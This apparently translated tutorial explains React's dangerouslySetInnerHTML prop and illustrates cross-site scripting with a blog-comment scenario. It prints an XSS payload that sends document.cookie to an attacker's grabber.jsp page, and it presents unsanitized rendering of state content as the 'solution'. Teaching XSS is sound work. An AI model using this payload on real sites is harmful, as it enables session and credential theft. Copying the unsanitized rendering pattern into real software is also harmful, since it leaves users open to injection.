1. Display HTML normally in react (dangerouslySetInnerHTML)
In react, the html string is given to the tag in the form of a variable and will not be parsed into a tag. At this time, a react attribute (dangerouslySetInnerHTML) is needed to solve the problem.
- React official website explains:
Improper use of innerHTML may lead to cross-site scripting (XSS) attacks. When user input is sanitized for display, errors often occur. Improper sanitization is also one of the causes of web page attacks.
Our design philosophy is that ensuring security should be simple, and developers should be clear about their intentions when performing "unsafe" operations. The dangerouslySetInnerHTML prop is named this way on purpose, as a warning that its prop value (an object rather than a string) should be used to represent sanitized data.
- Solution:
<div dangerouslySetInnerHTML={
{__html: this.state.content}}></div>
- What is a cross-site scripting (XSS) attack:
XSS examples
Before we delve into the various aspects of XSS, let us first understand XSS How exactly was the attack accomplished?
Take a blog application as an example. It is often necessary to allow readers to comment on the blogger's articles. In the comment editing field, we can enter comments on the article or enter the following HTML tag:
<Script>alert(“XSS attack available!”);</Script>
From the user's perspective, a warning appears on the webpage:
In other words, the script language entered by the user has been successfully executed by the user's browser. Of course, this could just be a friendly reminder of the site. But for a truly malicious attacker, the script code inserted is more likely to look like this:
<script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' width=16 height=16 border=0 />');</script>
This script will insert an image into the current comment, and the URL corresponding to the image points to the JSP page grabber.jsp in hackerhome. From the perspective of the user accessing the comment, it is simply an image that cannot be displayed. But for malicious attackers, the JSP page will automatically record the content of the incoming msg parameter, that is, the cookie used by the user to access the comment. This cookie may contain the user's sensitive information, even important information such as user name, password, etc.
Therefore, react does not directly read your html code to avoid cross-site scripting (XSS) attacks and make your code more secure.
You can refer to this article: http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html